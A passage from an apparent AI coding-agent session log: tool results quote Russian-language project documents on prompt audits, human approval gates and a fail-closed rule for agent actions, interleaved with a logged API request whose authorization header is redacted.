\u0438\u0437 24 | \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67 |\\n| --- | --- | --- | --- |\\n| `MM-1` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 | \u0448\u0430\u0433 \u043d\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 | **0** | 1 |\\n| `MM-3` \u0441\u043b\u0435\u0434 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u0430: \u0432\u0445\u043e\u0434, \u0430\u043a\u0442\u043e\u0440, \u0433\u0435\u0439\u0442\u044b | **0** | 8 |\\n| `MM-4` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 | \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430 | **0** | **0** |\\n| `OPS-2` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u044b\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 | \u043d\u0430\u0432\u044b\u043a \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u0441\u0432\u043e\u0438 \u0432\u044b\u0445\u043e\u0434\u044b | **0** | **0** |\\n| `Contract` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 | \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 | **0** | **0** |\\n| `T-1` \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c | \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u2014 \u043e\u0442\u043a\u0430\u0437 \u043d\u0430 \u0432\u0445\u043e\u0434\u0435 | **0** | **0** |\\n| `G-self` \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 | \u0447\u0435\u043a-\u043b\u0438\u0441\u0442 \u0430\u0433\u0435\u043d\u0442\u0430 \u0434\u043e \u0432\u044b\u0434\u0430\u0447\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 | **0** | 7 |\\n| `G-mach` \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 | \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u043e\u043c \u043f\u043e \u0441\u0445\u0435\u043c\u0435 | **0** | 9 |\\n| `G-human` \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439 \u0433\u0435\u0439\u0442 | \u0442\u043e\u0447\u043a\u0430 \u043f\u0440\u0438\u0451\u043c\u043a\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c | **0** | 7 |\\n| `SK-4` \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043e\u0442\u043a\u0430\u0437\u0430 | \u043d\u0430\u0432\u044b\u043a \u043e\u0431\u044f\u0437\u0430\u043d \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f | **0** | 1 |\\n| `EP-G1` \u044d\u0442\u0430\u043b\u043e\u043d (Golden Set) | \u044d\u0442\u0430\u043b\u043e\u043d \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u043a\u0430\u043a \u044d\u043b\u0435\u043c\u0435\u043d\u0442 \u0433\u0435\u0439\u0442\u0430 | 1 | 15 |\\n| `SK-5` \u0432\u0435\u0440\u0441\u0438\u044f \u0432\u043e frontmatter | \u0432\u0435\u0440\u0441\u0438\u044f \u0432 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u043d\u0435 \u0432 \u0438\u043c\u0435\u043d\u0438 | 24 | 67 |\\n\\n**\u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u0444\u0430\u043a\u0442.** \u0418\u0437 \u0434\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 **\u0434\u0435\u0441\u044f\u0442\u044c\\n\u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432**, \u0447\u0435\u0442\u044b\u0440\u0435 \u2014 \u043d\u0438 \u0432 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u0445,\\n\u043d\u0438 \u0432 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445. \u0421\u0440\u0435\u0434\u043d\u0435\u0435 \u0447\u0438\u0441\u043b\u043e \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043d\u0430 \u043f\u0440\u043e\u043c\u043f\u0442 \u2014 **1.04** \u043f\u0440\u0438 \u043c\u0430\u043a\u0441\u0438\u043c\u0443\u043c\u0435 2,\\n\u0438 \u044d\u0442\u0430 \u0435\u0434\u0438\u043d\u0438\u0446\u0430 \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435\u0433\u0434\u0430 `version:` \u0432\u043e frontmatter, \u0442\u043e \u0435\u0441\u0442\u044c \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u043e\u0435 \u043f\u043e\u043b\u0435, \u0430\\n\u043d\u0435 \u043f\u0440\u043e\u0435\u043a\u0442 \u043d\u043e\u0440\u043c\u044b.\\n\\n## 2. \u0427\u0442\u043e \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0441\u043b\u0435\u0434\u0443\u0435\u0442\\n\\n1. **\u041a\u043e\u0440\u043f\u0443\u0441 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0431\u0430\u0437\u0438\u0441\u043e\u043c \u043d\u043e\u0432\u044b\u0445 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u2014 \u043d\u0435 \u043f\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044e, \u0430 \u043f\u043e\\n   \u0441\u043e\u0441\u0442\u0430\u0432\u0443.** \u0412\u044b\u0432\u0435\u0441\u0442\u0438 \u0438\u0437 \u043d\u0435\u0433\u043e `MM-1`\u2026`MM-4`, \u0433\u0435\u0439\u0442\u044b, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0435\\n   \u0441\u043b\u043e\u0432\u0430\u0440\u0438 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e: \u044d\u0442\u0438\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u0442\u0430\u043c \u043d\u0435\u0442. \u041f\u0440\u0430\u0432\u0438\u043b\u043e \u00ab\u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014\\n   \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430\u00bb \u043d\u0435 \u0441\u0443\u0436\u0430\u0435\u0442 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0439, \u043e\u043d\u043e \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\\n   \u0443\u0436\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0434\u0435\u043b.\\n2. **\u041e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0440\u0435\u0430\u043b\u044c\u043d\u0430.** \u041f\u0440\u043e\u043c\u043f\u0442\u044b \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b \u0438 \u0443\u0431\u0435\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u044b \u043f\u043e \u0444\u043e\u0440\u043c\u0435\\n   (\u0436\u0451\u0441\u0442\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430, \u0448\u0430\u0433\u0438, \u0440\u043e\u043b\u0438), \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u0438 \u0441\u0438\u043d\u0442\u0435\u0437\u0435 \u00ab\u043f\u043e \u043e\u0431\u0440\u0430\u0437\u0446\u0443\u00bb \u043e\u043d\u0438 \u0441\u043a\u043b\u043e\u043d\u043d\u044b\\n   \u0434\u0438\u043a\u0442\u043e\u0432\u0430\u0442\u044c **\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443** \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430, \u043d\u0435 \u043d\u0435\u0441\u044f \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043d\u0438 \u043e\u0434\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0439\\n   \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438. \u041e\u0442\u0441\u044e\u0434\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e\\n   \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f, \u0430 \u043d\u0435 \u043f\u043e\u043b\u0430\u0433\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u0434\u043e\u0431\u0440\u043e\u0441\u043e\u0432\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0441\u0438\u043d\u0442\u0435\u0437\u0430 (`LG-4` ADR-014).\\n3. **\u041f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0433\u0435\u0439\u0442\u043e\u0432 \u0432 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 (7\u20139 \u0438\u0437 67) \u2014 \u043d\u0435 \u043a\u043e\u043d\u0442\u0440\u043f\u0440\u0438\u043c\u0435\u0440.** \u042d\u0442\u043e\",\n[2026-09-29T07:47:57.591Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:47:57.591Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:47:57.591Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:47:57.591Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:47:57.591Z] [INFO]   }\n[2026-09-29T07:47:57.591Z] [INFO] }\n[2026-09-29T07:47:57.652Z] [STDOUT] [log_7307a5] sending request {\n[2026-09-29T07:47:57.658Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:47:57.665Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:57.667Z] [STDOUT]   options: {\n[2026-09-29T07:47:57.671Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:47:57.675Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:47:57.678Z] [STDOUT]     body: {\n[2026-09-29T07:47:57.682Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:47:57.685Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:47:57.690Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:47:57.695Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:47:57.700Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:47:57.706Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:47:57.715Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:47:57.725Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:47:57.732Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:47:57.740Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:47:57.756Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:47:57.761Z] [STDOUT]       stream: true,\n[2026-09-29T07:47:57.766Z] [STDOUT]     },\n[2026-09-29T07:47:57.778Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:47:57.781Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:47:57.784Z] [STDOUT]       aborted: false,\n[2026-09-29T07:47:57.788Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:47:57.792Z] [STDOUT]       onabort: null,\n[2026-09-29T07:47:57.797Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:47:57.801Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:47:57.805Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:47:57.812Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:47:57.818Z] [STDOUT]     },\n[2026-09-29T07:47:57.822Z] [STDOUT]     stream: true,\n[2026-09-29T07:47:57.825Z] [STDOUT]   },\n[2026-09-29T07:47:57.843Z] [STDOUT]   headers: {\n[2026-09-29T07:47:57.849Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:47:57.856Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:47:57.866Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:47:57.878Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:47:57.886Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:47:57.897Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:47:57.907Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:47:57.912Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:47:57.916Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:47:57.924Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1314\",\n[2026-09-29T07:47:57.934Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:47:57.939Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:47:57.943Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:57.955Z] [STDOUT]     \"x-client-request-id\": \"7adf22ca-362d-424b-a768-043cc85b9df7\",\n[2026-09-29T07:47:57.961Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:47:57.967Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:47:57.972Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:47:57.977Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:47:57.980Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:47:57.983Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:47:57.985Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:47:57.989Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:47:57.992Z] [STDOUT]   },\n[2026-09-29T07:47:57.996Z] [STDOUT] }\n[2026-09-29T07:47:58.388Z] [INFO] {\n[2026-09-29T07:47:58.388Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:47:58.388Z] [INFO]   \"message\": {\n[2026-09-29T07:47:58.388Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:47:58.388Z] [INFO]     \"content\": [\n[2026-09-29T07:47:58.388Z] [INFO]       {\n[2026-09-29T07:47:58.388Z] [INFO]         \"tool_use_id\": \"toolu_016LtBu3oWELu31VU7QTrm7E\",\n[2026-09-29T07:47:58.388Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:47:58.388Z] [INFO]         \"content\": \"```\\n\\n### 3. Human gates \u0432 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0445 \u0442\u043e\u0447\u043a\u0430\u0445\\n\\n\u0422\u0440\u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 human gate \u043f\u0440\u0438\u0432\u044f\u0437\u0430\u043d\u044b \u043a \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u043c-\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f\u043c `\u0447\u0435\u043b\u043e\u0432\u0435\u043a`\\n([ba-ontology.md \u00a73](../../standards/ba-ontology.md), \u04213) \u0438 governance-\u043c\u043e\u0434\u0435\u043b\u0438\\n\u00ab\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u0435 = \u0441\u043e\u0433\u043b\u0430\u0441\u0438\u0435\u00bb ([ADR-0003](0003-creative-mode-governance.md)). \u041f\u043e\u043d\u044f\u0442\u0438\u0435\\n\u00abgate\u00bb \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 gateway/\u0442\u043e\u0447\u043a\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043d\u043e\u0439 \u043d\u043e\u0442\u0430\u0446\u0438\u0438 OMG BPMN 2.0.\\n\\n- **G1 @ \u043a\u043e\u043d\u0435\u0446 \u041f2** \u2014 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0443\u0440\u043e\u0432\u043d\u0435\u0439 BCREQ (\u043d\u0435\u043e\u0431\u0440\u0430\u0442\u0438\u043c\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043e\\n  \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438).\\n- **G2 @ \u043a\u043e\u043d\u0435\u0446 \u041f5** \u2014 `risk_analysis` (\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c `\u0447\u0435\u043b\u043e\u0432\u0435\u043a`): high/compliance-\\n  \u0440\u0438\u0441\u043a\u0438 \u0438\u043c\u0435\u044e\u0442 owner-review.\\n- **G3 @ \u043a\u043e\u043d\u0435\u0446 \u041f6** \u2014 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0438 baselining: \u043f\u0435\u0440\u0435\u0445\u043e\u0434 `validated` \u2192 `approved`\\n  \u2192 `baselined` (\u04216).\\n\\n\u041f\u0440\u0430\u0432\u0438\u043b\u043e B3: G1/G2/G3 **\u041d\u0415 \u0414\u041e\u041b\u0416\u041d\u042b** \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442\u044c\u0441\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 LLM; \u043f\u0440\u043e\u0447\u0438\u0435\\n\u0433\u0440\u0430\u043d\u0438\u0446\u044b \u2014 operation gate.\\n\\n### 4. \u041c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043d\u0435\u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 (\u0436\u0451\u0441\u0442\u043a\u043e\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435)\\n\\n---\\n   ([https://github.com/G-Ivan-A/hybrid-Intelligence-lab](https://github.com/G-Ivan-A/hybrid-Intelligence-lab))\\n   \u2014 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0444\u0443\u043d\u0434\u0430\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u043d\u0430\u043d\u0438\u0439, \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u0432 \u0438 governance-\u043f\u0440\u0430\u0432\u0438\u043b.\\n\\n### Fail-Closed Semantics (\u041a\u0420\u0418\u0422\u0418\u0427\u041d\u041e)\\n\\n\u0412 **Structured** \u0440\u0435\u0436\u0438\u043c\u0435, \u0435\u0441\u043b\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043d\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u043e \u0432 `AI_GOVERNANCE.md` \u0438\u043b\u0438\\n`AI_QUICK_RULES.md`:\\n\\n- \u041d\u0415 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0439 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435;\\n- \u0441\u043e\u0437\u0434\u0430\u0439 issue \u0441 \u043c\u0435\u0442\u043a\u043e\u0439 `question:capability`;\\n- \u0434\u043e\u0436\u0434\u0438\u0441\u044c human review.\\n\\n\u041a\u043e\u0440\u043e\u0442\u043a\u043e: **Structured = fail-closed**. \u0415\u0441\u043b\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043d\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u043e \u2014 \u0430\u0433\u0435\u043d\u0442 \u043d\u0435\\n\u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442, \u0430 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u0442 human review.\\n\\n\u0412 **Creative** \u0440\u0435\u0436\u0438\u043c\u0435, \u0435\u0441\u043b\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043d\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u043e, \u043d\u043e \u043d\u0443\u0436\u043d\u043e \u0434\u043b\u044f \u0446\u0435\u043b\u0438 issue:\\n---\\n15:  - \\\"runs/2026/RUN-0060/outputs/L4-combined-gap-report.md\\\"\\n23:# ADR-011: \u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438\\n32:## \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\\n44:| [RUN-0060](../../runs/2026/RUN-0060/) | 2026-08-27 | `L4-combined-gap-report.md`, `hh-api-source-index.md` | \u0421\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0411\u0410 \u0438 \u0421\u0410 \u0432 \u043e\u0434\u0438\u043d \u043e\u0442\u0447\u0451\u0442: 10 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0424\u0422, 27 \u043e\u0446\u0435\u043d\u0451\u043d\u043d\u044b\u0445 \u043f\u043e\u0434\u043f\u0443\u043d\u043a\u0442\u043e\u0432 \u0422\u0417, 11 Activity-\u0434\u0438\u0430\u0433\u0440\u0430\u043c\u043c, 53 \u0441\u043d\u043e\u0441\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438, SHA-256 \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 |\\n46:### \u041e\u0431\u0449\u0435\u0435 \u0443 \u0432\u0441\u0435\u0445 \u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432\\n56:### \u0427\u0435\u043c \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u043b\u0438\u0441\u044c\\n59:   `architecture-spike.md` \u0432 RUN-0059 \u0438 `L4` \u0432 RUN-0060. `L3` \u0432 RUN-0056 \u2014 \u043f\u043b\u0430\u043d\\n72:\u041e\u0442\u0447\u0451\u0442 [`RUN-0060/outputs/L4-combined-gap-report.md`](../../runs/2026/RUN-0060/outputs/L4-combined-gap-report.md)\\n82:## \u0420\u0435\u0448\u0435\u043d\u0438\u0435\\n84:### 1. \u0414\u0432\u0430 \u0443\u0440\u043e\u0432\u043d\u044f \u0434\u0435\u0442\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438\\n92:| **L2/L4** | `L4-combined-gap-report.md` | \u0431\u0435\u0437 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f | \u0411\u0410, \u0421\u0410, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 | \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u0432 L1 |\\n100:   | \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 | \u0412\u0435\u0440\u0434\u0438\u043a\u0442 | \u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 | \u0420\u0430\u0437\u0434\u0435\u043b L4 |\\n108:\u0417\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e: JSON, \u0434\u0438\u0430\u0433\u0440\u0430\u043c\u043c\u044b, \u0438\u043c\u0435\u043d\u0430 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 API. \u0412\u0441\u0451 \u044d\u0442\u043e \u0443\u0440\u043e\u0432\u0435\u043d\u044c L4.\\n110:**L2/L4 \u2014 \u0433\u043b\u0443\u0431\u043e\u043a\u0438\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440.** \u041e\u0434\u0438\u043d \u0444\u0430\u0439\u043b \u043d\u0430 \u043f\u0440\u043e\u0433\u043e\u043d, \u0440\u0430\u0437\u0434\u0435\u043b\u044b\\n113:### 2. \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 L4\\n149:### 3. \u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u0432\u0435\u0434\u0435\u043d\u0438\u044f\\n164:### 4. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0441\u0442\u0438 \u0441\u0441\u044b\u043b\u043e\u043a \u0434\u043b\u044f Human Review\\n223:### 5. \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438\\n246:\u0421\u0432\u043e\u0434 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u0432 \u0432 L1 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435 \u0448\u0430\u0433\u0430 5 \u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u0433\u043e\u0442\u043e\u0432\u043e\u0433\u043e L4.\\n270:## 